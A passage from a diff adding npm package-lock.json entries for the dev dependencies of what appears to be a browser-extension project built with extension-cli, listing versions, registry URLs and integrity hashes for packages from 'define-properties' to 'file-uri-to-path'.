"sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "dev": true, + "requires": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + } + }, + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "dev": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "del": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz", + "integrity": "sha512-1shh9DQ23L16oXSZKB2JxpL7iMy2E0S9d517ptA1P8iw0alkPtQcrKH7ru31rYtKwF499HkTu+DRzq3TCKDFRQ==", + "dev": true, + "requires": { + "globby": "^11.0.1", + "graceful-fs": "^4.2.4", + "is-glob": "^4.0.1", + "is-path-cwd": "^2.2.0", + "is-path-inside": "^3.0.2", + "p-map": "^4.0.0", + "rimraf": "^3.0.2", + "slash": "^3.0.0" + } + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true + }, + "dependency-graph": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz", + "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==", + "dev": true + }, + "detect-file": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz", + "integrity": "sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==", + "dev": true + }, + "didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true + }, + "diff": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", + "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", + "dev": true + }, + "dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "requires": { + "path-type": "^4.0.0" + } + }, + "dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true + }, + "doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "requires": { + "esutils": "^2.0.2" + } + }, + "domexception": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", + "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", + "dev": true, + "requires": { + "webidl-conversions": "^7.0.0" + } + }, + "duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==", + "dev": true + }, + "duplexify": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", + "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==", + "dev": true, + "requires": { + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" + } + }, + "each-props": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/each-props/-/each-props-1.3.2.tgz", + "integrity": "sha512-vV0Hem3zAGkJAyU7JSjixeU66rwdynTAa1vofCrSA5fEln+m67Az9CcnkVD776/fsN/UjIWmBDoNRS6t6G9RfA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.1", + "object.defaults": "^1.1.0" + } + }, + "electron-to-chromium": { + "version": "1.4.466", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.466.tgz", + "integrity": "sha512-TSkRvbXRXD8BwhcGlZXDsbI2lRoP8dvqR7LQnqQNk9KxXBc4tG8O+rTuXgTyIpEdiqSGKEBSqrxdqEntnjNncA==", + "dev": true + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "requires": { + "once": "^1.4.0" + } + }, + "enhanced-resolve": { + "version": "5.15.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz", + "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==", + "dev": true, + "peer": true, + "requires": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + } + }, + "enquirer": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz", + "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", + "dev": true, + "requires": { + "ansi-colors": "^4.1.1" + } + }, + "entities": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.0.3.tgz", + "integrity": "sha512-MyoZ0jgnLvB2X3Lg5HqpFmn1kybDiIfEQmKzTb5apr51Rb+T3KdmMiqa70T+bhGnyv7bQ6WMj2QMHpGMmlrUYQ==", + "dev": true + }, + "errno": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", + "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", + "dev": true, + "requires": { + "prr": "~1.0.1" + } + }, + "error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "requires": { + "is-arrayish": "^0.2.1" + } + }, + "es-module-lexer": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.3.0.tgz", + "integrity": "sha512-vZK7T0N2CBmBOixhmjdqx2gWVbFZ4DXZ/NyRMZVlJXPa7CyFS+/a4QQsDGDQy9ZfEzxFuNEsMLeQJnKP2p5/JA==", + "dev": true, + "peer": true + }, + "es5-ext": { + "version": "0.10.62", + "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.62.tgz", + "integrity": "sha512-BHLqn0klhEpnOKSrzn/Xsz2UIW8j+cGmo9JLzr8BiUapV8hPL9+FliFqjwr9ngW7jWdnxv6eO+/LqyhJVqgrjA==", + "dev": true, + "requires": { + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.3", + "next-tick": "^1.1.0" + } + }, + "es6-error": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", + "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", + "dev": true + }, + "es6-iterator": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", + "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" + } + }, + "es6-symbol": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz", + "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==", + "dev": true, + "requires": { + "d": "^1.0.1", + "ext": "^1.1.2" + } + }, + "es6-weak-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz", + "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "^0.10.46", + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.1" + } + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true + }, + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true + }, + "escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dev": true, + "requires": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2", + "source-map": "~0.6.1" + } + }, + "eslint": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.0.0.tgz", + "integrity": "sha512-03spzPzMAO4pElm44m60Nj08nYonPGQXmw6Ceai/S4QK82IgwWO1EXx1s9namKzVlbVu3Jf81hb+N+8+v21/HQ==", + "dev": true, + "requires": { + "@eslint/eslintrc": "^1.0.2", + "@humanwhocodes/config-array": "^0.6.0", + "ajv": "^6.10.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "enquirer": "^2.3.5", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^6.0.0", + "eslint-utils": "^3.0.0", + "eslint-visitor-keys": "^3.0.0", + "espree": "^9.0.0", + "esquery": "^1.4.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "functional-red-black-tree": "^1.0.1", + "glob-parent": "^6.0.1", + "globals": "^13.6.0", + "ignore": "^4.0.6", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.0.4", + "natural-compare": "^1.4.0", + "optionator": "^0.9.1", + "progress": "^2.0.0", + "regexpp": "^3.2.0", + "semver": "^7.2.1", + "strip-ansi": "^6.0.0", + "strip-json-comments": "^3.1.0", + "text-table": "^0.2.0", + "v8-compile-cache": "^2.0.3" + }, + "dependencies": { + "globals": { + "version": "13.20.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz", + "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "dev": true, + "requires": { + "type-fest": "^0.20.2" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, + "eslint-scope": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-6.0.0.tgz", + "integrity": "sha512-uRDL9MWmQCkaFus8RF5K9/L/2fn+80yoW3jkD53l4shjCh26fCtvJGasxjUqP5OT87SYTxCVA3BwTUzuELx9kA==", + "dev": true, + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + } + }, + "eslint-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", + "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "dev": true, + "requires": { + "eslint-visitor-keys": "^2.0.0" + }, + "dependencies": { + "eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true + } + } + }, + "eslint-visitor-keys": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.1.tgz", + "integrity": "sha512-pZnmmLwYzf+kWaM/Qgrvpen51upAktaaiI01nsJD/Yr3lMOdNtq0cxkrrg16w64VtisN6okbs7Q8AfGqj4c9fA==", + "dev": true + }, + "espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "requires": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + } + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true + }, + "esquery": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "dev": true, + "requires": { + "estraverse": "^5.1.0" + } + }, + "esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "requires": { + "estraverse": "^5.2.0" + } + }, + "estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true + }, + "esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true + }, + "event-stream": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/event-stream/-/event-stream-4.0.1.tgz", + "integrity": "sha512-qACXdu/9VHPBzcyhdOWR5/IahhGMf0roTeZJfzz077GwylcDd90yOHLouhmv7GJ5XzPi6ekaQWd8AvPP2nOvpA==", + "dev": true, + "requires": { + "duplexer": "^0.1.1", + "from": "^0.1.7", + "map-stream": "0.0.7", + "pause-stream": "^0.0.11", + "split": "^1.0.1", + "stream-combiner": "^0.2.2", + "through": "^2.3.8" + } + }, + "events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "dev": true, + "peer": true + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==", + "dev": true, + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + } + } + }, + "expand-tilde": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz", + "integrity": "sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==", + "dev": true, + "requires": { + "homedir-polyfill": "^1.0.1" + } + }, + "ext": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz", + "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==", + "dev": true, + "requires": { + "type": "^2.7.2" + }, + "dependencies": { + "type": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz", + "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw==", + "dev": true + } + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "extension-cli": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/extension-cli/-/extension-cli-1.2.4.tgz", + "integrity": "sha512-E5dmsoEyPqW4toxv55YpbAYMMm6dDi12cLzY+Fw3wCmWTCSIEbsSMMhIIwqbX02AdvgwvMruRW3EYn0SMC9OpQ==", + "dev": true, + "requires": { + "@babel/preset-env": "7.15.8", + "@babel/register": "7.15.3", + "chai": "4.3.4", + "chalk": "4.1.2", + "cli-spinner": "0.2.10", + "commander": "8.2.0", + "del": "6.0.0", + "eslint": "8.0.0", + "gulp": "4.0.2", + "gulp-change": "1.0.2", + "gulp-clean-css": "4.3.0", + "gulp-concat": "2.6.1", + "gulp-htmlmin": "5.0.1", + "gulp-jsonminify": "1.1.0", + "gulp-load-plugins": "2.0.7", + "gulp-merge-json": "2.1.1", + "gulp-rename": "2.0.0", + "gulp-sass": "5.0.0", + "gulp-zip": "5.1.0", + "jsdoc": "3.6.7", + "jsdom": "18.0.0", + "jsdom-global": "3.0.2", + "mocha": "9.1.2", + "nyc": "15.1.0", + "prompts": "2.4.2", + "sass": "1.43.2", + "sinon": "11.1.2", + "sinon-chrome": "3.0.1", + "webpack-stream": "7.0.0", + "yargs": "17.2.1" + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + } + } + }, + "fancy-log": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/fancy-log/-/fancy-log-1.3.3.tgz", + "integrity": "sha512-k9oEhlyc0FrVh25qYuSELjr8oxsCoc4/LEZfg2iJJrfEk/tZL9bCoJE47gqAvI2m/AUjluCS4+3I0eTx8n3AEw==", + "dev": true, + "requires": { + "ansi-gray": "^0.1.1", + "color-support": "^1.1.3", + "parse-node-version": "^1.0.0", + "time-stamp": "^1.0.0" + } + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "fast-glob": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.0.tgz", + "integrity": "sha512-ChDuvbOypPuNjO8yIDf36x7BlZX1smcUMTTcyoIjycexOxd6DFsKsg21qVBzEmr3G7fUKIRy2/psii+CIUt7FA==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "dependencies": { + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + } + } + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true + }, + "fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true + }, + "fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dev": true, + "requires": { + "reusify": "^1.0.4" + } + }, + "file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "requires": { + "flat-cache": "^3.0.4" + } + }, + "file-uri-to-path": { + "version": "1.0.0", + "resolved": 